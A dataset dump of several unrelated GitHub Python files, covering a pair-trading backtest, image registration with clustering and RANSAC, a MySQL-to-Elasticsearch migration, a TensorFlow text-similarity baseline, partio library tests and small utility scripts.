sm.OLS(diff_diff, diff[:-1]) #y is difference in differences #x is lagged differences\r\n res = reg.fit() \r\n return res.params[0]/res.bse[0] #bse = standard error\r\n #return output of unit root function - dickey fuller t stat\r\n #now we will vary b to minimize t stat, make as negative as possible\r\n res1 = spop.minimize(unit_root, data[stock2][t]/data[stock1][t], method='Nelder-Mead')#what to minimize, starting value (we can pick anything here), specify method (here would usuall nelder-meed or powell - nm better for more simple optimization problems)\r\n t_opt = res1.fun #optimized (min) value of t stat\r\n b_opt = float(res1.x) #optimized value of b, x variable\r\n a_opt = np.average(data[stock2][t-window:t] - b_opt*data[stock1][t-window:t])\r\n fair_value = a_opt + b_opt*data[stock1][t] #tells if stock2 is over or undervalued at time t\r\n #simulating trading\r\n if t == window: #very first day of trading\r\n old_signal = 0\r\n if t_opt > t_threshhold: #we dont trade if t opt greater than t threshold, sit in cash\r\n signal = 0\r\n gross_return = 0\r\n else:\r\n signal = np.sign(fair_value - data[stock2][t])\r\n # positive means stock2 undervalued, long2 short1. negative means 2 overvalued, long1 short2\r\n gross_return = signal*returns[stock2][t] - signal*returns[stock1][t]\r\n #calculating trading fees\r\n fees = fee*abs(signal - old_signal) #if stick with same strategy,no action fee is 0. if trade pay fees once. if go from short to long or vice versa pay fees twice\r\n net_return = gross_return - fees\r\n gross_returns = np.append(gross_returns, gross_return)\r\n net_returns = np.append(net_returns, net_return)\r\n t_s = np.append(t_s, t_opt)\r\n #interface: reporting daily positions and realised returns\r\n print('day'+str(data.index[t]))\r\n print('t')\r\n if signal == 0:\r\n print('no trading')\r\n elif signal ==1:\r\n print('long position in '+stock2+' and short position in '+stock1)\r\n else: \r\n print('long position in '+stock1+' and short position in '+stock2)\r\n print('gross daily return: '+str(round(gross_return*100,2))+'%')\r\n print('net daily return: '+str(round(net_return*100,2))+'%')\r\n print('cumulative net return so far: '+str(round(np.prod(1+net_returns)*100-100,2))+'%')\r\n print('')\r\n old_signal = signal\r\n#plotting equity curves\r\nplt.plot(np.append(1, np.cumprod(1+gross_returns))) \r\nplt.plot(np.append(1, np.cumprod(1+net_returns))) \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"ngonyo/Python-for-Quant-Finance","sub_path":"Cointegration Pair Trading 1.py","file_name":"Cointegration Pair Trading 1.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36718408932","text":"from EA.ransac import *\r\nfrom EA.grid import Grid, sample\r\nfrom EA.dist import get_dist\r\nimport torch\r\nfrom scipy.interpolate import griddata\r\n\r\n\r\ndef field_inv(field, img_mask):\r\n _, h, w = field.shape\r\n grid_x, grid_y = np.meshgrid(range(w), range(h))\r\n mask_flag = img_mask != 0\r\n field[0, mask_flag] = field[0, 0, 0]\r\n field[1, mask_flag] = field[1, 0, 0]\r\n value_y = grid_y.reshape(-1).copy()\r\n value_x = grid_x.reshape(-1).copy()\r\n value_y[mask_flag.reshape(-1)] = 0\r\n value_x[mask_flag.reshape(-1)] = 0\r\n pt = field[[1, 0], ...].reshape([2, -1]).transpose()\r\n field_y = griddata(pt, value_y, (grid_x, grid_y), fill_value=0)\r\n field_x = griddata(pt, value_x, (grid_x, grid_y), fill_value=0)\r\n field_i = np.concatenate([field_y[np.newaxis, ...], field_x[np.newaxis, ...]]).astype(np.float32)\r\n return field_i\r\n\r\n\r\ndef dist_matrix(d1, d2, is_normalized=False):\r\n if is_normalized:\r\n return 2 - 2.0 * d1 @ d2.t()\r\n x_norm = (d1 ** 2).sum(1).view(-1, 1)\r\n y_norm = (d2 ** 2).sum(1).view(1, -1)\r\n dist_mat = x_norm + y_norm - 2.0 * d1 @ d2.t()\r\n return dist_mat\r\n\r\n\r\nclass Cluster:\r\n def __init__(self, kp_m, kp_f, centroid_idx, cluster_idx, m=None, inliers=None):\r\n self.centroid_m = kp_m[centroid_idx]\r\n self.kp_m = kp_m[cluster_idx]\r\n self.kp_f = kp_f[cluster_idx]\r\n self.idx = cluster_idx\r\n self.m = m\r\n self.inliers = inliers\r\n self.inliers_num = None\r\n\r\n def estimate_affine(self):\r\n self.m, self.inliers = ransac(self.kp_m, self.kp_f, device=self.kp_m.device, rrt=3)\r\n self.inliers_num = self.inliers.sum()\r\n\r\n def estimate_affine_inv(self):\r\n self.m, self.inliers = ransac(self.kp_f, self.kp_m, device=self.kp_f.device, rrt=3)\r\n self.inliers_num = self.inliers.sum()\r\n\r\n\r\nclass WrinkleReg:\r\n \"\"\"\r\n 聚类、配准\r\n \"\"\"\r\n\r\n def __init__(self, k=20, alpha=5, match_radius=300, K=3, img_tr=None, device=\"cuda\", test=False):\r\n self.k = k\r\n self.match_radius = match_radius\r\n self.alpha = alpha\r\n self.device = device\r\n self.Grid = Grid(K, device=device)\r\n self.dist_computer = None\r\n self.kp_m = None\r\n self.kp_f = None\r\n self.test = test\r\n self.img_tr = img_tr\r\n self.kp_dist_mat = None\r\n\r\n def plant(self, kp_moving, kp_fixed, des1, des2, mutual=True):\r\n \"\"\"\r\n 匹配生长算法\r\n :param kp_moving:\r\n :param kp_fixed:\r\n :param des1:\r\n :param des2:\r\n :return:\r\n \"\"\"\r\n with torch.no_grad():\r\n kp_moving = torch.tensor([kp.pt for kp in kp_moving]).to(self.device)\r\n kp_fixed = torch.tensor([kp.pt for kp in kp_fixed]).to(self.device)\r\n des1 = torch.tensor(des1).to(self.device)\r\n des2 = torch.tensor(des2).to(self.device)\r\n match1, match2, ratio = self.match_in_rad(kp_moving, kp_fixed, des1, des2,\r\n mutual) # 在一定的搜索框下,计算出最近邻匹配和ratio值\r\n kp_m = kp_moving[match1]\r\n kp_f = kp_fixed[match2]\r\n self.kp_m = kp_m\r\n self.kp_f = kp_f\r\n self.dist_computer = get_dist(self.img_tr, kp_m[:, [1, 0]].cpu().numpy(), 1, self.device)\r\n clusters_lst = self.init_clusters(kp_m, kp_f)\r\n clusters_lst = self.filter_clusters(clusters_lst)\r\n\r\n # clusters_lst = self.merge_clusters(clusters_lst)\r\n return clusters_lst\r\n\r\n def init_clusters(self, kp_m, kp_f):\r\n \"\"\"\r\n init clusters\r\n cluster, and ransac in each cluster,del partial clusters.\r\n :param kp_m: keypoint in img_m\r\n :param kp_f: keypoint in img_f\r\n :return:\r\n \"\"\"\r\n kp = torch.cat([kp_m, kp_f, self.alpha * (kp_f - kp_m)], dim=1)\r\n # 聚类\r\n kmeans = KMeans(self.k, self.dist_computer, device=self.device)\r\n centroids_idx, clusters_idx = kmeans.cluster(kp) # 中心点id, 不同类点的id\r\n clusters_lst = []\r\n for cent, cluster in zip(centroids_idx, clusters_idx):\r\n clusters_lst.append(Cluster(kp_m, kp_f, cent, cluster))\r\n # 首先对每一类进行:1.删除掉部分点,2.ransac\r\n for cluster in clusters_lst:\r\n if self.test:\r\n cluster.estimate_affine_inv()\r\n else:\r\n cluster.estimate_affine()\r\n return clusters_lst\r\n # # ransac 聚类\r\n # ran_cluster = RansacCluster(self.k,rrt=2, device=self.device)\r\n # return ran_cluster.cluster(kp_m, kp_f)\r\n\r\n def generate_field(self, cluster_lst, img_m):\r\n # 先生成field\r\n # warp(img_tr)->dist_computer\r\n # 再生成field\r\n field = self.Grid.generate_field(cluster_lst, img_m, self.dist_computer)\r\n if self.test:\r\n field = field_inv(field, self.img_tr)\r\n elif self.img_tr is not None:\r\n img_tr = (sample(self.img_tr, field, 'bound') > 0) * 255\r\n cv2.imwrite(\"exp/img_tr.png\", img_tr)\r\n del self.dist_computer\r\n self.dist_computer = get_dist(img_tr, self.kp_f[:, [1, 0]].cpu().numpy(), 1, self.device)\r\n field = self.Grid.generate_field(cluster_lst, img_m, self.dist_computer)\r\n return field\r\n\r\n def match_in_rad(self, kp1, kp2, des1, des2, mutual=True):\r\n des_dist_mat = dist_matrix(des1, des2) # 先计算距离矩阵 (n1,n2)\r\n space_dist_mat = dist_matrix(kp1, kp2) # 再计算空间距离 (n1,n2)\r\n des_dist_mat[space_dist_mat > (self.match_radius ** 2)] = 1e30 # 滤除空间距离大于一定阈值的匹配对 (n1,n2)\r\n dist_min12, dist_min_idx12 = torch.topk(des_dist_mat, k=2, dim=1, largest=False) # (n1, 2) 距离最小的两个量\r\n\r\n dist_min21, dist_min_idx21 = torch.min(des_dist_mat, dim=0) # (n2,) 从2到1距离最小的值\r\n if mutual:\r\n mnn = dist_min_idx21[dist_min_idx12[:, 0]] == torch.arange(kp1.shape[0], device=self.device) # (n2,) mutual\r\n else:\r\n mnn = torch.arange(kp1.shape[0], device=self.device) > -1 # only one match\r\n dist_min_idx1 = torch.where(mnn)[0] # (m)\r\n dist_min_idx2 = dist_min_idx12[:, 0][dist_min_idx1]\r\n ratio = dist_min12[:, 0][dist_min_idx1] / dist_min12[:, 1][dist_min_idx1].clamp_min_(1e-3) # 计算ratio\r\n return dist_min_idx1, dist_min_idx2, ratio\r\n\r\n @staticmethod\r\n def filter_clusters(cluster_lst):\r\n \"\"\"\r\n 过滤类,删除掉错误的类\r\n :param cluster_lst:\r\n :return:\r\n \"\"\"\r\n for i in range(len(cluster_lst))[::-1]:\r\n cluster = cluster_lst[i]\r\n if cluster.inliers_num < 10 or (cluster.inliers_num.cpu().numpy() * 100 / cluster.kp_f.shape[0]) < 2:\r\n del cluster_lst[i]\r\n return cluster_lst\r\n\r\n @staticmethod\r\n def nearest_cluster(cluster_lst, cluster):\r\n \"\"\"\r\n 在簇列表中找最近的簇\r\n :param cluster_lst:\r\n :param cluster:\r\n :return: nearest cluster idx\r\n \"\"\"\r\n train = torch.cat([c.centroid_m.unsqueeze(0) for c in cluster_lst])\r\n query = cluster.centroid_m\r\n dist = torch.norm(train - query, dim=1)\r\n dist[dist == 0] = 1e30\r\n return torch.argmin(dist)\r\n\r\n def merge2cluster(self, cluster1, cluster2):\r\n kp_m = torch.cat([cluster1.kp_m, cluster2.kp_m])\r\n kp_f = torch.cat([cluster1.kp_f, cluster2.kp_f])\r\n if cluster2.inliers_num < 10:\r\n inliers = torch.norm(compute_affine(cluster1.m, kp_m, device=self.device) - kp_f, dim=1) < 3\r\n m = get_affine_mat(kp_m[inliers], kp_f[inliers], device=self.device)\r\n inliers = torch.norm(compute_affine(m, kp_m, device=self.device) - kp_f, dim=1) < 3\r\n if inliers.sum() > cluster1.inliers_num:\r\n return cluster1.merge(cluster2, m, inliers), True\r\n # 求两个点的m\r\n kp_m_inliers = torch.cat([cluster1.kp_m[cluster1.inliers], cluster2.kp_m[cluster2.inliers]])\r\n kp_f_inliers = torch.cat([cluster1.kp_f[cluster1.inliers], cluster2.kp_f[cluster2.inliers]])\r\n m = get_affine_mat(kp_m_inliers, kp_f_inliers, device=self.device)\r\n err = torch.norm(compute_affine(m, kp_m, device=self.device) - kp_f, dim=1) < 3\r\n if err.sum() > cluster1.inliers_num:\r\n m = get_affine_mat(kp_m[err], kp_f[err], device=self.device)\r\n inliers = torch.norm(compute_affine(m, kp_m, device=self.device) - kp_f, dim=1) < 3\r\n return cluster1.merge(cluster2, m, inliers), True\r\n else:\r\n return cluster1, False\r\n\r\n\r\nclass KMeans:\r\n def __init__(self, K=5, dist_computer=None, device=\"cuda\"):\r\n \"\"\"\r\n KMeans 算法\r\n :param K:\r\n :param dist_computer: 计算两点间距离的函数\r\n :param device:\r\n \"\"\"\r\n self.device = device\r\n self.K = K\r\n self.dist = dist_computer\r\n self.dist_mat = None # (grid_n^2, kp_num)\r\n\r\n def cluster(self, samples):\r\n \"\"\"\r\n :param samples: (torch.tensor)输入的样本\r\n :return idx_updated: 质心的id_lst\r\n n_idx: 关键点的id_lst\r\n \"\"\"\r\n n_idx = []\r\n # if self.dist is not None:\r\n # self.dist_mat = self.dist.dist_map_cuda(samples[:, :2][:, [1, 0]]) # x,y 反\r\n samples = samples.to(self.device)\r\n num = samples.shape[0]\r\n if num < self.K:\r\n self.K = num\r\n dim = samples.shape[-1]\r\n np.random.seed(0)\r\n idx = torch.tensor(np.random.choice(np.arange(num), self.K, replace=False), dtype=torch.long).to(self.device)\r\n # 初始化\r\n iter_num = 0\r\n while True:\r\n idx_updated, cl = self.update(samples, idx)\r\n iter_num += 1\r\n if (idx_updated == idx).sum() == self.K or iter_num > self.K:\r\n for i in range(self.K):\r\n n_idx.append(torch.where(cl.squeeze() == i)[0])\r\n return idx_updated, n_idx\r\n idx = idx_updated\r\n\r\n def update(self, samples, idx):\r\n \"\"\"\r\n 更新质心和聚类的集合\r\n :param samples: (torch.tensor)输入的样本\r\n :param idx:质心的id\r\n :return idx:质心的id (k,) range[0,n)\r\n cl:从属于每个质心的集合(n, 1) range[0,k)\r\n \"\"\"\r\n k_center = samples[idx]\r\n # 分类\r\n dist_mat = self.dist_matrix(samples, k_center) # (n,k)\r\n cl = dist_mat.argmin(dim=1, keepdim=True) # 每个样本点从属的类 (n,1)\r\n cl_idx = (cl == torch.arange(self.K, device=self.device)).t() # 给每类中的值做一个标记,横坐标是类,纵坐标是值 (k, n)\r\n sample = samples.unsqueeze(0).repeat([self.K, 1, 1]) # 扩充样本,并行计算 (k,n,d)\r\n sample = sample * cl_idx.unsqueeze(-1) # 每类中只留下对应类的值,不属于的类置为false (k,n,d)\r\n k_center = sample.sum(dim=1) / (cl_idx.float().sum(dim=1, keepdim=True) + 1) # 计算质心 (k,d)\r\n del sample\r\n # 确定质心\r\n dist_mat = self.dist_matrix(samples, k_center).t() # (k,n)\r\n min_value, _ = dist_mat.min(dim=0)\r\n trash_idx = torch.where(min_value >= 99999)[0]\r\n cl[trash_idx] = 21\r\n idx = dist_mat.argmin(dim=1) # 确定质心位置\r\n return idx, cl\r\n\r\n def dist_matrix(self, d1, d2):\r\n \"\"\"\r\n :param d1:torch.float32 (n,6)\r\n :param d2:torch.float32 (m,6)\r\n :return:\r\n \"\"\"\r\n if self.dist is None:\r\n dist_mat = dist_matrix(d1, d2)\r\n else:\r\n d2_moving = d2[:, :2]\r\n d1_delta = d1[:, 4:]\r\n d2_delta = d2[:, 4:]\r\n # [:,[1,0]],xy轴反转\r\n # dist_mat = self.dist[d2_moving[:, [1, 0]]]\r\n # dist_mat = dist_mat * self.dist.step_h\r\n dist_mat = self.dist[:, d2_moving[:, 1].type(torch.long),\r\n d2_moving[:, 0].type(torch.long)]\r\n # + dist_matrix(d1_delta,d2_delta)\r\n return dist_mat\r\n\r\n\r\nclass RansacCluster:\r\n def __init__(self, K=20, rrt=3, device=\"cuda\"):\r\n self.k = K\r\n self.rrt = rrt\r\n self.device = device\r\n\r\n def cluster(self, kp_m, kp_f):\r\n cluster_lst = []\r\n kp_m = kp_m.to(self.device)\r\n kp_f = kp_f.to(self.device)\r\n idx = torch.arange(len(kp_m))\r\n for _ in range(self.k):\r\n m, inliers = ransac(kp_m[idx], kp_f[idx], rrt=self.rrt, device=self.device)\r\n inliers_num = inliers.sum()\r\n if inliers_num > 10:\r\n cluster = Cluster(kp_m, kp_f, 0, idx, m, inliers)\r\n idx = idx[~inliers]\r\n cluster.inliers_num = inliers_num\r\n cluster_lst.append(cluster)\r\n return cluster_lst\r\n\r\n\r\nif __name__ == \"__main__\":\r\n DEVICE = \"cuda\"\r\n import cv2\r\n from ImageTool.Feature import SuperPoint\r\n\r\n det = SuperPoint(0.015, batch_sz=16, device=DEVICE)\r\n det.detectAndCompute(np.random.random([128, 128]))\r\n # ---------------------------------------------------------\r\n # 读取图像\r\n # ---------------------------------------------------------\r\n img_o_fixed = cv2.imread(\"data/62/62.tif\", cv2.IMREAD_GRAYSCALE)\r\n img_o_moving = cv2.imread(\"data/63/63.tif\", cv2.IMREAD_GRAYSCALE)\r\n scale = 0.2\r\n # 轨迹\r\n img_tr = cv2.imread(\"data/63/63tr.tif\", cv2.IMREAD_GRAYSCALE)\r\n img_tr = cv2.resize(img_tr, None, fx=scale, fy=scale)\r\n # end 轨迹\r\n\r\n # img_o_fixed = cv2.imread(PATH + \"data/test/multi-part/layer159.tif\", cv2.IMREAD_GRAYSCALE)\r\n # img_o_moving = cv2.imread(PATH + \"data/test/multi-part/layer160.tif\", cv2.IMREAD_GRAYSCALE)\r\n # scale = 0.2\r\n # # 轨迹\r\n # img_tr = cv2.imread(PATH + \"data/test/multi-part/tr.tif\", cv2.IMREAD_GRAYSCALE)\r\n # img_tr = cv2.resize(img_tr, None, fx=scale, fy=scale)\r\n # # end 轨迹\r\n\r\n # img_o_fixed = cv2.imread(PATH + \"data/test/6/layer159_5_9.jpg\", cv2.IMREAD_GRAYSCALE)\r\n # img_o_moving = cv2.imread(PATH + \"data/test/6/layer160_5_9.jpg\", cv2.IMREAD_GRAYSCALE)\r\n # scale = 0.2\r\n # # # 轨迹\r\n # img_tr = cv2.imread(PATH + \"data/test/6/tr.tif\", cv2.IMREAD_GRAYSCALE)\r\n # img_tr = cv2.resize(img_tr, None, fx=0.1, fy=0.1)\r\n # # end 轨迹\r\n # ---------------------------------------------------------\r\n # 预处理\r\n # ---------------------------------------------------------\r\n img_fixed = cv2.resize(img_o_fixed, None, fx=scale, fy=scale)\r\n img_moving = cv2.resize(img_o_moving, None, fx=scale, fy=scale)\r\n # ---------------------------------------------------------\r\n # 特征提取\r\n # ---------------------------------------------------------\r\n kp_fixed, des_fixed = det.detectAndCompute(img_fixed)\r\n kp_moving, des_moving = det.detectAndCompute(img_moving, mask=None)\r\n # ---------------------------------------------------------\r\n # 特征匹配\r\n # ---------------------------------------------------------\r\n reg_er = WrinkleReg(k=20, K=3, alpha=5, match_radius=500, device=DEVICE)\r\n c_lst = reg_er.plant(kp_moving, kp_fixed, des_moving, des_fixed)\r\n img_fixed = np.pad(img_fixed, [[0, (img_moving.shape[0] - img_fixed.shape[0])],\r\n [0, (img_moving.shape[1] - img_fixed.shape[1])]])\r\n\r\n field = reg_er.generate_field(c_lst, img_moving, img_tr, grid_n=30)\r\n\r\n img_rst = sample(img_o_moving, field)\r\n","repo_name":"TongXin-CASIA/Excepted_Affine","sub_path":"EA/WrinkleReg.py","file_name":"WrinkleReg.py","file_ext":"py","file_size_in_byte":15571,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"23721082132","text":"#!/usr/bin/env python2\n\n# install prerequisites\n# pip install MySQL-python\n# pip install requests\n# pip install elasticsearch\n\nimport MySQLdb\nimport requests\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch import helpers\n\nmysql_host = \"localhost\"\nmysql_user = \"root\"\nmysql_password = \"root\"\nmysql_database = \"forum\"\n\nes_host = \"localhost\"\nes_port = 9200\nes_index = mysql_database + \"\"\n\n# reset es\nrequests.delete(\"http://\" + es_host + \":\" + str(es_port) + \"/_all\")\nes = Elasticsearch([\"http://\" + es_host + \":\" + str(es_port)])\nbody = {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 0\n }\n}\nes.indices.create(index=es_index, body=body)\n\nconnection = MySQLdb.connect(\n host=mysql_host,\n user=mysql_user,\n passwd=mysql_password)\n\ncursor = connection.cursor()\ncursor.execute(\"USE \" + mysql_database)\ncursor.execute(\"SHOW TABLES\")\ncursor.fetchall()\n\nfor (table_name,) in cursor:\n print(\"==>Working on: \" + table_name)\n\n table_cursor = connection.cursor()\n table_cursor.execute(\"SHOW columns FROM \" + table_name)\n table_columns = [column[0] for column in table_cursor.fetchall()]\n print(\"Tables: \" + str(table_columns))\n\n table_cursor.execute(\"SELECT * FROM \" + table_name)\n bulk = []\n for record in table_cursor.fetchall():\n id = record[0]\n document = {\n \"_index\": es_index,\n \"_type\": table_name,\n \"_id\": id,\n \"_source\": {}\n }\n for i in range(1, len(record)):\n document[\"_source\"][table_columns[i]] = record[i]\n bulk.append(document)\n if id % 25000 == 0:\n helpers.bulk(es, bulk)\n bulk = []\n print(\"Docs w/ id: {0} -> {1}\".format(id - 25000, id))\n\n table_cursor.close()\n helpers.bulk(es, bulk)\n print(\"Done table: \" + table_name)\n\ncursor.close()\nconnection.close()\n","repo_name":"SnelleJelle/ElasticsearchPerformance","sub_path":"bulk_migrate.py","file_name":"bulk_migrate.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4219235809","text":"import tensorflow as tf\nfrom model import Model\nfrom tqdm import tqdm\nfrom data_provider import DataProvider\nimport logger\n\n\nclass MultiLayerPerceptron(Model):\n def __init__(self):\n super(MultiLayerPerceptron, self).__init__()\n self.hidden_unit_num = 512\n self.output_dim = 2\n\n @staticmethod\n def embedding_layer(x):\n \"\"\"\n linear embedding\n :param x: input sequence with shape [batch_size, max_sequence_length, vocab_size]\n :return: embedded representation for each word, outputs shape [batch_size, max_sequence_length, embed_dim]\n \"\"\"\n embed_matrix = tf.Variable(tf.random_normal(shape=[8150, 300], mean=0, stddev=0.1), name='embed_mat')\n embed = tf.einsum('abc,cd->abd', x, embed_matrix)\n return embed\n\n def representation_extractor(self, x1, x2):\n embedded_x1 = self.embedding_layer(x1)\n embedded_x2 = self.embedding_layer(x2)\n\n hidden_1 = tf.layers.dense(embedded_x1, self.hidden_unit_num, tf.nn.relu)\n\n hidden_2 = tf.layers.dense(embedded_x2, self.hidden_unit_num, tf.nn.relu)\n\n # hidden = self.attention_layer(hidden, attn_output_dim=2048)\n logits = tf.layers.dense(tf.reshape(tf.concat([hidden_1, hidden_2], 1), [-1, 45*self.hidden_unit_num*2]),\n self.output_dim, name='logits')\n\n return logits\n\n def train(self, epochs, exp_name, lr=1e-4, save_model=False):\n\n # inputs & outputs format\n x1 = tf.placeholder(tf.float32, [None, 45, 8150], name='x1')\n x2 = tf.placeholder(tf.float32, [None, 45, 8150], name='x2')\n y = tf.placeholder('float', [None, self.output_dim], name='y')\n\n # construct computation graph\n logits = self.representation_extractor(x1, x2)\n loss = self.compute_loss(logits, y)\n\n accuracy = self.compute_accuracy(logits, y)\n\n train_op = tf.train.AdamOptimizer(learning_rate=lr).minimize(loss, name='train_op')\n\n with tf.Session() as sess:\n # initialization\n init = tf.global_variables_initializer()\n sess.run(init)\n\n data_provider = DataProvider('/Users/shyietliu/python/ATEC/project/NLP/dataset/atec_nlp_sim_train.csv')\n log_saver = logger.LogSaver(exp_name)\n\n # train\n for epoch in range(epochs):\n batch_x_1, batch_x_2, batch_y = data_provider.train.next_batch(10)\n sess.run(train_op, feed_dict={x1: batch_x_1, x2: batch_x_2, y: batch_y})\n\n # validating\n if epoch % 10 == 0 and epoch != 0:\n print('running validation ...')\n train_loss = loss.eval(feed_dict={x1: batch_x_1, x2: batch_x_2, y: batch_y})\n\n mean_val_acc = 0\n for i in tqdm(range(800)):\n val_x_1, val_x_2, val_y = data_provider.val.next_batch(10)\n val_acc = accuracy.eval(feed_dict={\n x1: val_x_1,\n x2: val_x_2,\n y: val_y})\n mean_val_acc = mean_val_acc + (val_acc - mean_val_acc)/(i+1)\n\n val_acc = mean_val_acc\n print('Training {0} epoch, validation accuracy is {1}, training loss is {2}'.format(epoch,\n val_acc,\n train_loss))\n # save train process\n log_saver.train_process_saver([epoch, train_loss, val_acc])\n\n # evaluate\n test_x_1, test_x_2, test_y = data_provider.test.next_batch(10)\n test_acc = sess.run(accuracy, feed_dict={x1: test_x_1, x2: test_x_2, y: test_y})\n print('test accuracy is {0}'.format(test_acc))\n # save training log\n log_saver.test_result_saver([test_acc])\n\n # Model save\n if save_model:\n log_saver.model_saver(sess)\n\n\nif __name__ == '__main__':\n\n DATA_PATH = '/afs/inf.ed.ac.uk/user/s17/s1700619/E2E_dialog/my_dataset'\n model = MultiLayerPerceptron()\n model.train(20, 'test')\n","repo_name":"shyietliu/ATEC_sim","sub_path":"model/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22415746271","text":"# external and built in modules\r\nimport random # built in module\r\n\r\nrandom_number = random.randint(0,5)\r\nprint(random_number)\r\nrand = random.random() *100\r\nprint(rand)\r\nlist = [ 'Star Plus', 'Aaj Tak ', 'Sony Sab','Sony LIV']\r\nchoice = random.choice(list)\r\nprint(choice)\r\n","repo_name":"akashbagwan2308/python_codes","sub_path":"tut38(modules).py","file_name":"tut38(modules).py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"31409010586","text":"import os\nfrom datetime import datetime\nimport subprocess\n\n# libraries for oled display\nfrom board import SCL, SDA\nimport busio\nimport adafruit_ssd1306\n\n# library for making images, to display\nfrom PIL import Image, ImageDraw, ImageFont, GifImagePlugin\n\ni2c = busio.I2C(SCL,SDA)\n\ndisp = adafruit_ssd1306.SSD1306_I2C(128,64,i2c)\nfont = ImageFont.truetype(\"/home/pi/smart-clock/software/fonts/liberation.ttf\", size=10)\n\ndisp.fill(0)\ndisp.show()\n\nwidth = disp.width\nheight = disp.height\n\n# make an empty image on which you can write things on,\n#this image will be displayed at a continious rate per second\nimage = Image.new(\"1\", (width, height), color=0)\n\n\n\ndef write(x, y, ctx):\n draw = ImageDraw.Draw(image, \"1\")\n draw.rectangle((width, height,0,0), fill=(0))\n draw.text((x, y), ctx, font=font, fill=255)\n disp.image(image)\n disp.show()\n\nwhile True:\n IP = subprocess.check_output('hostname -I', shell=True) \n write(0,0, str(IP))\n\n\n","repo_name":"n1b0rr/smart-clock","sub_path":"software/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21525079112","text":"#!/usr/bin/env python\n\"\"\"Partio Python API tests\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nimport os\nimport sys\n\nimport pytest\n\nimport partio\n\n\nnum_particles = 3\nnum_attributes = 3\n\n\n@pytest.fixture(scope='module')\ndef particle_file():\n testdir = os.path.dirname(os.path.abspath(__file__))\n srcdir = os.path.dirname(testdir)\n filename = os.path.join(srcdir, 'data', 'test.bgeo')\n\n result = partio.read(filename)\n _check_particles(result, num_attributes)\n _check_attribute(result, 'position', num_particles)\n return result\n\n\ndef test_clone_without_data(particle_file):\n \"\"\"Clone particles without data\"\"\"\n clone = partio.clone(particle_file, False)\n _check_particles(clone, 0)\n assert clone.attributeInfo('position') is None\n\n\ndef test_clone_with_data(particle_file):\n \"\"\"Clone with data and no attrNameMap specified\"\"\"\n clone = partio.clone(particle_file, True)\n _check_particles(clone, num_attributes)\n _check_attribute(clone, 'position', 3)\n\n\ndef test_clone_with_data_and_map_is_none(particle_file):\n \"\"\"Clone with data and attrNameMap specified as None\"\"\"\n clone = partio.clone(particle_file, True, None)\n _check_particles(clone, num_attributes)\n _check_attribute(clone, 'position', 3)\n\n\ndef test_clone_with_data_and_attribute_map(particle_file):\n \"\"\"Clone with data and a remapped position -> pos attribute\"\"\"\n attr_name_map = {'position': 'pos'}\n clone = partio.clone(particle_file, True, attr_name_map)\n _check_particles(clone, num_attributes)\n _check_attribute(clone, 'pos', 3) # New attribute should be present\n assert clone.attributeInfo('position') is None # Old attribute is gone.\n\n\ndef _check_particles(partfile, count):\n \"\"\"Ensure that the particles file contains attributes\"\"\"\n assert partfile is not None\n assert partfile.numAttributes() == count\n\n\ndef _check_attribute(partfile, name, count):\n \"\"\"Ensure that the specified attribute is valid\"\"\"\n info = partfile.attributeInfo(name)\n assert info is not None\n assert info.count == count\n\n\ndef test_merge_pair():\n testdir = os.path.dirname(os.path.abspath(__file__))\n srcdir = os.path.dirname(testdir)\n base_filename = os.path.join(srcdir, 'data', 'baseidsfaceid.bgeo')\n base_file = partio.read(base_filename)\n delta_filename = os.path.join(srcdir, 'data', 'deltaidsfaceid.bgeo')\n delta_file = partio.read(delta_filename)\n\n partio.merge(base_file, delta_file, 'ids', 'faceid_XS')\n assert base_file.numParticles() == 13\n\n\ndef test_merge_mismatch():\n testdir = os.path.dirname(os.path.abspath(__file__))\n srcdir = os.path.dirname(testdir)\n base_filename = os.path.join(srcdir, 'data', 'baseidsfaceid.bgeo')\n base_file = partio.read(base_filename)\n delta_filename = os.path.join(srcdir, 'data', 'deltaids.bgeo')\n delta_file = partio.read(delta_filename)\n\n partio.merge(base_file, delta_file, 'ids', 'faceid_XS')\n assert base_file.numParticles() == 16\n\n\nif __name__ == '__main__':\n sys.exit(pytest.main([__file__]))\n","repo_name":"wdas/partio","sub_path":"src/tests/testpartio.py","file_name":"testpartio.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"21"} +{"seq_id":"12066947658","text":"import hashlib\nimport qpc_reader\nfrom qpc_args import args\nfrom qpc_base import posix_path, QPC_DIR, QPC_GENERATOR_DIR\nfrom qpc_reader import QPCBlockRoot, QPCBlock\nfrom qpc_generator_handler import GENERATOR_PATHS, GENERATOR_LIST\nfrom qpc_logging import verbose\nimport qpc_parser\nimport qpc_project\nimport glob\nimport os\n \n\nQPC_HASH_DIR = QPC_DIR + \"hashes/\"\n\n\n# Source: https://bitbucket.org/prologic/tools/src/tip/md5sum\ndef make_hash(filename: str) -> str:\n md5 = hashlib.md5()\n if os.path.isfile(filename):\n with open(filename, \"rb\") as f:\n for chunk in iter(lambda: f.read(128 * md5.block_size), b\"\"):\n md5.update(chunk)\n return md5.hexdigest()\n else:\n return \"\"\n \n \ndef hash_from_string(string: str):\n return hashlib.md5(string.encode()).hexdigest()\n\n\nBASE_QPC_HASH_LIST = (\n \"qpc.py\",\n \"qpc_base.py\",\n \"qpc_c_parser.py\",\n \"qpc_hash.py\",\n 